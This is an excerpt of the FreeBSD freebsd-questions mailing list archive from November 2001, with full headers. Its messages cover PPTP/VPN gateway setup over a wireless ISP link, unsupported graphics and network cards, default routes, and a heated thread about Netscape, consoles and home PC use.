------=_NextPart_000_0007_01C1729B.B3C1BB80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3:50:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f74.law3.hotmail.com [209.185.241.74]) by hub.freebsd.org (Postfix) with ESMTP id E8B8A37B416 for ; Wed, 21 Nov 2001 03:50:44 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 03:50:44 -0800 Received: from 139.108.175.27 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 11:50:44 GMT X-Originating-IP: [139.108.175.27] From: "Thor Legvold" To: patrick@mip.co.za Cc: freebsd-questions@freebsd.org Subject: RE: Network setup questions Date: Wed, 21 Nov 2001 11:50:44 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 11:50:44.0895 (UTC) FILETIME=[C0CB52F0:01C17282] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Thor, Hi Patrick, thanks for the reply. >I did not find it necessary to use netgraph, and I am not sure what the >differences are between ppp and pptp. If ppp is of no use to you then >ignore the rest of this message. I'm not sure myself - I've only used PPP as a dialup connection from a single client to an ISP. From what I gather, PPTP uses PPP as a sort of tunnel over another link (like TCP), but I really have no idea (it is clearly defined in the RFC, but it might as well be Greek to me :-) I have setup PPP clients under several varisou OS's previously, including FBSD. From what I understand, I need to do something quite different now. >I'll give a few vague hints as it is a while since I did this, and I >have >subsequently stopped using it. > >I used a 4.3 box to gateway to my dial-up ISP. > >I did "man ppp", and played with what I learned there. I had it >working >pretty quickly just plugging my modem into the first serial port on >the >box. >I seem to recall that I used the -auto and -nat features. This way >the >box >will dial automatically whenever you try to connect, and it will NAT >your >traffic depending on what IP the ISP gives you for the session. I >also >ran >ipfw for firewall, but since ppp does nat, I had no need to use natd. I've got UserPPP working with an ISDN TA previously, but only for a single client (i.e. not a gateway machine). >You need to set up a ppp.conf file which has telephone numbers, login, >password, time-out periods, etc. The man page explains it quite >nicely. Yep. Problem here is that there's no modem, no telephone numbers, no multilink, no redial or timeout. Everything goes over ethernet (wireless). That's part of the problem, I don't really see conceptually how all of this works/fits together so I don't really know where to look to fix it. >Finally, I set my LAN IPs in the 10.0.0.0/24 range. The NIC on the My home LAN is on the 192.168.128.0/24 range. >gateway >box was 10.0.0.1, and other PCs recorded 10.0.0.1 as their default > >gateway. yes, I have the same, my dual homed FBSD machine (the one I'm trying to set up) is 192.168.128.10 and it get's it's other (outside) NIC address via DHCP form my ISP. >I was able to simply open IE on my windoze PC, and the BSD box would >dial >and connect immediately. Yep. All of this has been working for me as well, unfortunatly my ISP is changing their setup and I don't know how to configure appropriately. >Patrick. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4: 8:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lh11.opsion.fr (lh11.opsion.fr [212.73.208.237]) by hub.freebsd.org (Postfix) with SMTP id 62AC837B41A for ; Wed, 21 Nov 2001 04:08:11 -0800 (PST) Received: from 195.132.235.244 [195.132.235.244] by lh11.opsion.fr; Wed, 21 Nov 2001 12:07:53 GMT Message-ID: <000c01c17284$c219ba00$0c02a8c0@jupiter> From: "Hexo" To: Subject: MGA graphic card + Etherworks NIC Date: Wed, 21 Nov 2001 13:04:19 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0009_01C1728D.08116F00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C1728D.08116F00 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hi, I experience difficulty to install a Matrox MGA Ultima/Impression PCI = with FreeBSD 4.2. Even, if Xfree does not seem to support this card, I = do not manage to make it work with "generic vga " driver and basic = parameters such vga resolution. What parameters should I choose to use this card with FreeBSD, even = under a low resolution ? My network card, a DEC Etherworks (ISA) (10 mps), does not seem to be = recognized by FreeBSD 4.2, althought my second NIC a winbond based card = does. Is there any solution to use it ? Nicolas mailto:hexomedine@ifrance.com *******Config********** > freeBSD 4.2 > Pentium 200 mmx > 32 Mo RAM > 500 mb (IDE secondary slave, multiboot freebsd/linux/Zin98) > Graphics: Matrox MGA Ulima/Impression PCI=20 > Screen : Samsung SyncMaster 500b > NIC : Winbond (PCI) + DEC Etherworks (ISA) > Mouse serial ------=_NextPart_000_0009_01C1728D.08116F00 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hi,
I experience difficulty to install = a Matrox=20 MGA Ultima/Impression PCI with FreeBSD 4.2. Even, if Xfree does not seem = to=20 support this card, I do not manage to make it work with "generic vga " = driver=20 and basic parameters such vga resolution.
What parameters should I choose to use = this card=20 with FreeBSD, even under a low resolution ?
 
My network card, a DEC Etherworks = (ISA) (10=20 mps), does not seem to be recognized by FreeBSD 4.2, althought my second = NIC a=20 winbond based card does. Is there any solution to use it = ?
Nicolas
 
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> freeBSD 4.2
> Pentium 200 = mmx
>=20 32 Mo RAM
> 500 mb (IDE secondary slave, multiboot=20 freebsd/linux/Zin98)
> Graphics: Matrox MGA Ulima/Impression PCI =
>=20 Screen : Samsung SyncMaster 500b
> NIC : Winbond (PCI) + DEC = Etherworks=20 (ISA)
> Mouse serial
------=_NextPart_000_0009_01C1728D.08116F00-- ______________________________________________________________________________ ifrance.com, l'email gratuit le plus complet de l'Internet ! vos emails depuis un navigateur, en POP3, sur Minitel, sur le WAP... http://www.ifrance.com/_reloc/email.emailif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:16: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from www.suntop-cn.com (www.suntop-cn.com [61.140.76.155]) by hub.freebsd.org (Postfix) with ESMTP id C36BE37B405 for ; Wed, 21 Nov 2001 04:16:02 -0800 (PST) Received: from win ([61.144.141.192]) (authenticated) by www.suntop-cn.com (8.11.3/8.11.3) with ESMTP id fALCG0o14298 for ; Wed, 21 Nov 2001 20:16:01 +0800 (CST) (envelope-from slack@suntop-cn.com) Message-ID: <000a01c17286$5deecdc0$9201a8c0@home.net> From: "edwin chen" To: Subject: how about default route ? Date: Wed, 21 Nov 2001 20:16:34 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C172C9.6A7F38C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C172C9.6A7F38C0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: quoted-printable in win2000, I can setup two default route, can freebsd do that ? if can, = what will happened ? if can't ,why ? ------=_NextPart_000_0007_01C172C9.6A7F38C0 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable
in win2000, I can setup two default route, can = freebsd do that=20 ? if can, what will happened ? if can't ,why = ?
------=_NextPart_000_0007_01C172C9.6A7F38C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:16:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f86.law3.hotmail.com [209.185.241.86]) by hub.freebsd.org (Postfix) with ESMTP id 6CCF437B405 for ; Wed, 21 Nov 2001 04:16:10 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 04:16:10 -0800 Received: from 139.108.175.26 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 12:16:10 GMT X-Originating-IP: [139.108.175.26] From: "Thor Legvold" To: gjb@gbch.net Cc: freebsd-questions@freebsd.org Subject: Re: Network setup questions Date: Wed, 21 Nov 2001 12:16:10 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 12:16:10.0331 (UTC) FILETIME=[4E0662B0:01C17286] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Greg, >First, don't cross-post; stick to freebsd-questions for now. Done. >Second, what is your question? How to set up mpd-netgraph to connect over a wireless wan with pptp to an ISP. Failing that, how to set up any available pptp client to do the same - get on the net via my ISP. Details: The existing WAN was setup by the ISP so that *any* WaveLan cards (which they provide as part of their broadband package) within range of their antennae would automatically get an IP via DHCP (10.10.2.0/24 range). They in turn run NAT on the subnet, thus giving anyone with a WaveLan card direct internet access, no other authorization or configuration needed. As the ISP is new and noone else in the area offers or carries this equipment, it's worked fine up to now. I set my home LAN up to use this and it's worked fine. Because the situation is changing, the ISP is switching over to another system (VPN). They have a linux PPTP server at 10.10.1.1 (i.e. still on their local WAN), all WaveLan cards still get an internal IP (10.10.2.0/24) via DHCP as before, but their NAT is now turned off/disabled. So anyone with a WaveLan card can still get an internal IP, but you can't get to the internet or do anything without going through the VPN/PPTP server. In order to access the internet now, one has to (after doing the DHCP stuff mentioned above to get on the local WAN): contact/connect to the PPTP server (10.10.1.1), login and authorize (chap and/or pap) and dynamically receive a *routable* IP (as I recall they have 213.225.121.0/24 range available) from the pool the ISP owns. Then one (as far as I know) is online and can use the internet as usual. I had/have my home LAN set up on 192.168.128.0/24 and use the FBSD box as a gateway/dual homed host for the LAN, using a dc0 card for the LAN and the WaveLan (wi0) for the internet (outside network). I run ipfw and natd to allow all the machines at home acccess to the net via the FBSD gateway. I've had some small problems with natd & ipfw (natd complains about "cannot write back" in some cases), and am currently looking into the ruleset to fix this. I've tried testing my setup with closed and open firewall, but cannot seem to get anywhere. I can post my mpd.conf, mpd.links and mpd.log if that would help. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:20:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id 06FAE37B418 for ; Wed, 21 Nov 2001 04:20:07 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id PAA17480; Wed, 21 Nov 2001 15:20:19 +0100 Message-ID: <3BFB9B26.39B29E95@resfeber.se> Date: Wed, 21 Nov 2001 13:16:38 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: edwin chen Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how about default route ? References: <000a01c17286$5deecdc0$9201a8c0@home.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG look at http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html check out '17 Advanced Networking' edwin chen wrote: > > in win2000, I can setup two default route, can freebsd do that ? if > can, what will happened ? if can't ,why ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:25:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id BAFD837B418 for ; Wed, 21 Nov 2001 04:25:47 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALCPPh94492; Wed, 21 Nov 2001 13:25:30 +0100 (CET) Message-ID: <004901c17287$9eff56d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ted Mittelstaedt" , "Jan Grant" Cc: "setantae" , "questions" References: <002c01c1724f$bf93c580$1401a8c0@tedm.placo.com> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:25:16 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted writes: > Absolute rubbish. There's still plenty of > incompatible and conflicting hardware. Incompatible | conflicting != broken > The problem is that the people that suspect > hardware and aren't willing to swap it out > are protecting their feelings of affection > for some piece of hardware, somewhere. Or they just don't want to spend large amounts of money buying hardware they'll never again use just to disprove something that is already extremely improbable. If hardware were free and didn't require taking PCs apart to replace, the situation might be different. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:33:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 1841A37B405 for ; Wed, 21 Nov 2001 04:33:45 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALCXgu95129; Wed, 21 Nov 2001 13:33:42 +0100 (CET) Message-ID: <005001c17288$c17d0800$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Mike Meyer" Cc: References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com><15355.2770.644343.846234@guru.mired.org><01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:33:36 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike writes: > I've never had a client or manager open-minded > enough to use free software and stupid enough > to need that particular comfort blanket. Or smart enough to understand the importance of support and yet stupid enough to put mission-critical applications on unsupported freeware. The fact is, with all but the most trivial freeware, you need competent in-house support if you plan to use it for any critical applications. If something critical crashes, you will not have time to go searching for pro bono support somewhere on the Net. > There are certainly better tools than ftp for > maintaining file structure. Personally, I use > Perforce. Does it require X? > Yes, it autoindents for HTML, XML, C and Perl. Sounds good. > It doesn't pretend to be a WYSIWYG HTML editor, > but it can format HTML and follow links on the > fly. Uh-oh. Does it require X? > MSIE 4.x may have been better than Netscape 4.x, > but trying to get something that did anything > complicated, worked in both of them, and followed > the standards was a nightmare. That was Netscape's problem, not Microsoft's. I stopped supporting Netscape 4.x over a year ago because the browser has so many bugs that it at least doubles development time for any page or site, and because virtually no one is using Netscape browsers today, anyway (less than 2% of visitors to my site). In order to support Netscape 4.x, you have to write two versions of every page: one for Netscape, and one for all the other browsers in the world that adhere to W3C standards. Either that, or you have to create pages so lame that people fall asleep reading them. I voted to just drop Netscape support, and write for all the other browsers. The poor CSS support was one of the worst problems with that version of Netscape. > The one I see when I look is the MS tag for > embedding things, as opposed to OBJECT. I forget > the name of it. EMBED? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:37:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 6599B37B416 for ; Wed, 21 Nov 2001 04:37:24 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALCbLp96251; Wed, 21 Nov 2001 13:37:22 +0100 (CET) Message-ID: <005701c17289$446b6720$0a00000a@atkielski.com> From: "Anthony Atkielski" To: , References: <00a601c17202$0f9af880$0a00000a@atkielski.com> <200111202228.47120@starbreaker.net> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:37:12 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew writes: > Frankly, I don't like staring at a bare console. What's bare about a console? There have been many times when I've cursed Windows systems precisely because they have no simple text-based interface for administration. Even on the local machine, there is almost nothing that you can accomplish with simple command lines, and since there is nothing remotely approaching a telnet interface, you can't administer the server from afar with command lines, either. Instead you must struggle with bandwidth-hungry, error-prone graphic interfaces for remote administration, when you can get remote administration to work at all. > Mouse? Hardly need one unless I'm working with > GIMP or playing QuakeForge. I've found that the main reason for having a mouse on a GUI is that no other easy way to navigate among windows exists. But if you are not using a GUI, you don't need to navigate among windows. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:38:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9B42337B405 for ; Wed, 21 Nov 2001 04:38:29 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALCcRM96602; Wed, 21 Nov 2001 13:38:27 +0100 (CET) Message-ID: <005e01c17289$6b51e620$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Scott Mitchell" Cc: References: <20011120050329.A971@xor.obsecurity.org> <20011120150948.H23357-100000@dumpster.io.com> <20011120224118.C381@localhost> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:38:21 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Scott writes: > I would hope that your servers are more physically > secure than some random home PC :-) I'm sorry to say that, in some cases and with some organizations, it's the other way around. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:39:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sand7.global.net.uk (sand7.global.net.uk [195.147.246.253]) by hub.freebsd.org (Postfix) with ESMTP id AABE137B41F for ; Wed, 21 Nov 2001 04:39:33 -0800 (PST) Received: from adamantite.global.net.uk ([194.126.80.200] helo=globalnet.co.uk) by sand7.global.net.uk with esmtp (Exim 3.22 #1) id 166WgM-000187-00 for questions@freebsd.org; Wed, 21 Nov 2001 12:40:50 +0000 Message-ID: <3BFBA123.E3BBF104@globalnet.co.uk> Date: Wed, 21 Nov 2001 12:42:11 +0000 From: John Ekins Reply-To: jre@globalnet.co.uk X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-RELEASE i386) X-Accept-Language: en-GB, en MIME-Version: 1.0 Cc: questions@freebsd.org Subject: Re: home pc use References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com><15355.2770.644343.846234@guru.mired.org><01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> <005001c17288$c17d0800$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > That was Netscape's problem, not Microsoft's. I stopped supporting Netscape 4.x > over a year ago because the browser has so many bugs that it at least doubles > development time for any page or site, and because virtually no one is using > Netscape browsers today, anyway (less than 2% of visitors to my site). In order > to support Netscape 4.x, you have to write two versions of every page: one for > Netscape, and one for all the other browsers in the world that adhere to W3C > standards. Either that, or you have to create pages so lame that people fall > asleep reading them. I voted to just drop Netscape support, and write for all > the other browsers. The poor CSS support was one of the worst problems with > that version of Netscape. Hold on a second. If you "stopped supporting Netscape 4.x over a year ago" why is it in your list of installed software?? And if you "voted to just drop Netscape support" why do you have Netscape installed at all?? John. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:40:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 70D6437B405 for ; Wed, 21 Nov 2001 04:40:38 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALCeYY97286; Wed, 21 Nov 2001 13:40:34 +0100 (CET) Message-ID: <006901c17289$b7124b40$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ted Mittelstaedt" , "Mike Meyer" Cc: References: <000701c1724d$5f4525e0$1401a8c0@tedm.placo.com> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:40:28 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted writes: > Worse is that so many managers view a laptop that > costs 3 times more than a desktop and half as powerful > as a kind of status symbol and a lot of them will > construct elaborate justifications to have them, > even though they never travel and never take work > home. And managers in that category often don't even know how to turn the laptop on, or have never used anything but their e-mail client and Freecell. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:44: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 4753D37B405 for ; Wed, 21 Nov 2001 04:44:03 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALChpA97640; Wed, 21 Nov 2001 13:43:51 +0100 (CET) Message-ID: <007601c1728a$2c67fbb0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: Cc: References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com><15355.2770.644343.846234@guru.mired.org><01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> <005001c17288$c17d0800$0a00000a@atkielski.com> <3BFBA123.E3BBF104@globalnet.co.uk> Subject: Re: home pc use Date: Wed, 21 Nov 2001 13:43:45 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John writes: > If you "stopped supporting Netscape 4.x over a > year ago" why is it in your list of installed > software?? I've never deinstalled it, because I might need it at some time in the future. > And if you "voted to just drop Netscape support" > why do you have Netscape installed at all?? I create Web sites for other people besides myself, and some of them remain misguided enough to insist on Netscape support specifically, instead of just support for any browser that observes the standards. The 6.x version of Netscape is much more standards compliant, but sometimes you have to verify that something works, as a client who uses nothing but Netscape will assume that anything that displays incorrectly on Netscape has a problem, and not the other way around. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 4:53:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sand2.global.net.uk (sand2.global.net.uk [195.147.246.100]) by hub.freebsd.org (Postfix) with ESMTP id 5DBFD37B405 for ; Wed, 21 Nov 2001 04:53:51 -0800 (PST) Received: from adamantite.global.net.uk ([194.126.80.200] helo=globalnet.co.uk) by sand2.global.net.uk with esmtp (Exim 3.16 #1) id 166Wsw-0001LP-00 for questions@FreeBSD.ORG; Wed, 21 Nov 2001 12:53:50 +0000 Message-ID: <3BFBA47C.5691D8D0@globalnet.co.uk> Date: Wed, 21 Nov 2001 12:56:28 +0000 From: John Ekins Reply-To: jre@globalnet.co.uk X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-RELEASE i386) X-Accept-Language: en-GB, en MIME-Version: 1.0 Cc: questions@FreeBSD.ORG Subject: Re: home pc use References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com><15355.2770.644343.846234@guru.mired.org><01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> <005001c17288$c17d0800$0a00000a@atkielski.com> <3BFBA123.E3BBF104@globalnet.co.uk> <007601c1728a$2c67fbb0$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > > John writes: > > > If you "stopped supporting Netscape 4.x over a > > year ago" why is it in your list of installed > > software?? > > I've never deinstalled it, because I might need it at some time in the future. Does that go for other software in your list too? > > And if you "voted to just drop Netscape support" > > why do you have Netscape installed at all?? > > I create Web sites for other people besides myself, and some of them remain > misguided enough to insist on Netscape support specifically, instead of just > support for any browser that observes the standards. The 6.x version of > Netscape is much more standards compliant, but sometimes you have to verify that > something works, as a client who uses nothing but Netscape will assume that > anything that displays incorrectly on Netscape has a problem, and not the other > way around. So you are working around the problem for them. In your own words "Incompatible | conflicting != broken", or does that only hold for hardware? Why then aren't you willing to work around the problems you are having rather than just complaining about FreeBSD/KDE/whatever? I really would like to see this thread completely finished so that this list can get back to what it used to be used for. I never used to find every post useful, but it was never tedious. John. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5: 5:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pickup6-ld.pvd.loa.net (pickup.loa.com [199.171.167.59]) by hub.freebsd.org (Postfix) with SMTP id 76FFF37B405 for ; Wed, 21 Nov 2001 05:05:37 -0800 (PST) Received: (qmail 28980 invoked by uid 0); 21 Nov 2001 13:05:36 -0000 Received: from unknown (HELO pretorian) (208.130.43.221) by pickup6-ld.pvd.loa.net with SMTP; 21 Nov 2001 13:05:36 -0000 Message-ID: <002301c1728d$36524100$37b4a8c0@pretorian> From: "Maine LOA List Admin (Brent Bailey)" To: Subject: unsubscribe Date: Wed, 21 Nov 2001 08:05:36 -0500 Organization: Log On America MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG unsubscribe freebsd-questions To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5: 9:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22]) by hub.freebsd.org (Postfix) with ESMTP id A7A4437B417 for ; Wed, 21 Nov 2001 